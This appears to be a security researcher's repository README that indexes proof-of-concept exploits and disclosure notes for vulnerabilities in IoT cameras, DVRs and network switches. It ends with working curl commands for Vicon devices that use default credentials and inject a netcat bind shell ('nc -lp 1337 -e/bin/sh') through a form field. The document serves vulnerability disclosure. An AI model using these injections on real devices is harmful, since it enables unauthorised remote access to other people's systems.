PoC

misc PoC - Internet of (In)Security Things

Well worth to read about these crappy (in)security things: https://ipvm.com/reports/security-exploits

Hikvision CVE-2021-36260

2021-10-19

All credit to Watchful_IP (https://watchfulip.github.io/)

https://github.com/mcw0/PoC/blob/master/CVE-2021-36260.py

Dahua CVE-2021-33044, CVE-2021-33045

2021-10-06

Details: https://github.com/mcw0/PoC/blob/master/Dahua%20authentication%20bypass.txt

PoC: https://github.com/mcw0/DahuaConsole

2021-09-06

Two independent authentication bypass.

Due to the very high potential of another "Dahua mass hack", I will keep Full Disclosure details until October 6, 2021.

Highly recommend upgrading the firmware until then.

https://www.dahuasecurity.com/support/cybersecurity/details/957

Dahua DES/3DES encrypt/decrypt, NetSDK credentials leaks, Cloud keys/passwords, DHP2P PoC

2020-05-09

• Dahua DES/3DES (broken) authentication implementation and PSK
• Vulnerability: Dahua NetSDK leaking credentials (first 8 chars) from all clients in REALM request when using DVRIP and DHP2P protocol
• PoC: Added simple TCP/37777 DVRIP listener to display decrypted credentials in clear text
• Vulnerability: Dahua DHP2P Cloud protocol credentials leakage
• Vulnerability: Hardcoded DHP2P Cloud keys/passwords for 23 different providers
• PoC: Access to devices within DHP2P Cloud. PoC only made for Dahua IMOU

https://github.com/mcw0/PoC/blob/master/Dahua-3DES-IMOU-PoC.py

Update: Dahua-JSON-Debug-Console-v2.py

2020-02-29

• Added option 'setDebug', Should start produce output from Debug Console in VTO/VTH
• Added '--discover', Multicast search of devices or direct probe (--rhost 192.168.57.20) of device via UDP/37810
• Added '--dump {config,service}' for dumping config or services on remote host w/o entering Debug Console

https://github.com/mcw0/Tools/blob/master/Dahua-JSON-Debug-Console-v2.py

Update

2020-02-15

Contact established during this week with Dahua PSIRT, details, PoC and proof for 23 different cloud suppliers has been provided. I will also follow the new trial of Google Zero 'Policy and Disclosure: 2020 Edition' (as it make sense to me), meaning I will publish after 90 days, regardless if Dahua would release updates before or after 09.05.2020 19:00 UTC (May 9, 2020 19:00 UTC).

Dahua, please fix and make updates available before this date...

Reference: Google Zero 'Policy and Disclosure: 2020 Edition': https://googleprojectzero.blogspot.com/2020/01/policy-and-disclosure-2020-edition.html

Few hours ago

2020-02-10

I've just disclosed creadentials leaks (ending up in clear text) from Dahua SDK to Dahua PSIRT, let see how they will take this information. Pretty bad when there is +20 different cloud providers involved... 90 days ticking from today.

Tools

2020-01-20

New repository created where I plan to push some tools.

https://github.com/mcw0/Tools

First out: Dahua-JSON-Debug-Console-v2.py

• Ported to Python 3
• Fixed some bugs and code adjustment
• Added support for DVRIP (TCP/37777) [Note: Some JSON commands that working with DHIP return nothing with DVRIP]
• encode/decode in latin-1, we might need untouched chars between 0x00 - 0xff
• Better 'debug' with hexdump as option

Axis Communications

2019-10-06 (old stuff)

Anonymously detect Model and Firmware version of Axis devices (1998 - 2019).

https://github.com/mcw0/PoC/blob/master/axis-detect.py

Realtek Managed Switch Controller (RTL83xx) PoC

2019-08-20

https://github.com/mcw0/PoC/blob/master/Realtek-RTL83xx-PoC.py

Several vulnerabilities in multiple network switches

2019-08-06

https://www.vdoo.com/blog/disclosing-significant-vulnerabilities-network-switches

All technical details along with python PoC will be posted here August 20, 2019.

LifeSafety Power

2019-05-15

Multiple Stack Overflow, RCE, disclosure username/password in clear text and more

https://github.com/mcw0/PoC/blob/master/LifeSafetyPower-Netlink-PoC.py

Dahua DHIP JSON Debug Console (authenticated)

2019-04-10

This script will use Dahua 'DHIP' P2P binary protocol, that works on normal HTTP/HTTPS ports and TCP/5000

Will attach to Dahua devices internal 'Debug Console' using JSON (same type as the former debug on TCP/6789)

https://github.com/mcw0/PoC/blob/master/Dahua-DHIP-JSON-Debug-Console.py

Have fun, bashis

VDOO

2019-01-23

Greetings, long time and no publish ...

I am still around and doing my research, but the news is that I also try to work with VDOO (https://www.vdoo.com/) for vendor management, and this has unfortunately delayed my Full Disclosure process somewhat ...

Anyway, several interesting researches coming up as Full Disclosure here on my GitHub.

With the collaboration with VDOO I can work with that I like to do, and not waste time with the vendors who do (not want | don't understand | want to ignore | want to delay | whatever).

The latest are some Reolink (https://reolink.com/) stuff, which you will find here: https://www.vdoo.com/blog/working-with-the-community-%E2%80%93-significant-vulnerabilities-in-reolink-cameras/.

AVTECH Corporation

2018-06-18

AVTECH {DVR/NVR/IPC} Heap Overflow, IPCP API, RCE

https://github.com/mcw0/PoC/blob/master/Avtech_Undocumented_API_and_RCE.txt

https://github.com/mcw0/PoC/blob/master/AVTECH-IPCP-RCE.py

Reolink Digital Technology Co., Ltd.

2018-06-03

Reolink {IPC} RCE (Authenticated)

https://github.com/mcw0/PoC/blob/master/Reolink-IPC-RCE.py

Shenzhen TVT Digital Technology Co. Ltd

2018-04-09

Shenzhen TVT Digital Technology Co. Ltd & OEM {DVR/NVR/IPC} API RCE https://github.com/mcw0/PoC/blob/master/TVT_and_OEM_IPC_NVR_DVR_RCE_Backdoor_and_Information_Disclosure.txt https://github.com/mcw0/PoC/blob/master/TVT-PoC.py

AVTECH

2018-03-05

AVTECH {DVR/NVR/IPC} Authenticated RCE

https://github.com/mcw0/PoC/blob/master/AVTECH-RCE.py

Geovision Inc.

2018-02-01

Geovision Inc. IP Camera/Video/Access Control Multiple Remote Command Execution - Multiple Stack Overflow - Double free - Unauthorized Access https://github.com/mcw0/PoC/blob/master/Geovision%20IP%20Camera%20Multiple%20Remote%20Command%20Execution%20-%20Multiple%20Stack%20Overflow%20-%20Double%20free%20-%20Unauthorized%20Access.txt

Geovision Inc. IP Camera & Video Server Remote Command Execution PoC https://github.com/mcw0/PoC/blob/master/Geovision-PoC.py

Herospeed

2018-01-22

Herospeed TelnetSwitch daemon running on TCP/787, for allowing enable of the telnetd. Where one small stack overflow allows us to overwrite the dynamicly generated password and enable telnetd. https://github.com/mcw0/PoC/blob/master/Herospeed-TelnetSwitch.py

Foscam

2018-01-15

Small OpenSSL wrapper to looping different encryption keys/digest and cipher on Foscam IPC Firmware images. https://github.com/mcw0/PoC/blob/master/decrypt-foscam.py

Deobfuscate strings/login/password/cryptokey in misc Foscam IPC binaries and libs https://github.com/mcw0/PoC/blob/master/deobfuscate-foscam.py

Vitek RCE and Information Disclosure (and possible other OEM) 0-day

2017-12-22

https://github.com/mcw0/PoC/blob/master/Vitek_RCE_and_information_disclosure.txt

Remote Stack Format String in 'nsd' binary from multiple OEM (0-day)

2017-12-14

https://github.com/mcw0/PoC/blob/master/Remote_Stack_Format_String_multiple%20OEM.txt

Image here: http://62.43.36.107:50021/Public/CCTV/GWSecu/GWSecu%20Updater%20para%20c%C3%A1maras/Firmware%20para%20c%C3%A1mara%20domo/

non-crashing Format String Backdoor Proof of Concept

2017-12-05

https://github.com/mcw0/PoC/blob/master/tiny-w3-mcw.c

Vicon Security RCE (authenticated)

2017-12-03

// Enable 'IP Filter'

curl --user ADMIN:1234 -v -X POST http://[IP:PORT]/form/formChangeFirewallState -d "state=2"

// Add to 'IP Filter' and execute

curl --user ADMIN:1234 -v -X POST http://[IP:PORT]/form/AddIPFilter -d "list=2&type=1&filterIp=$(nc -lp 1337 -e/bin/sh)"

// Disable 'IP Filter'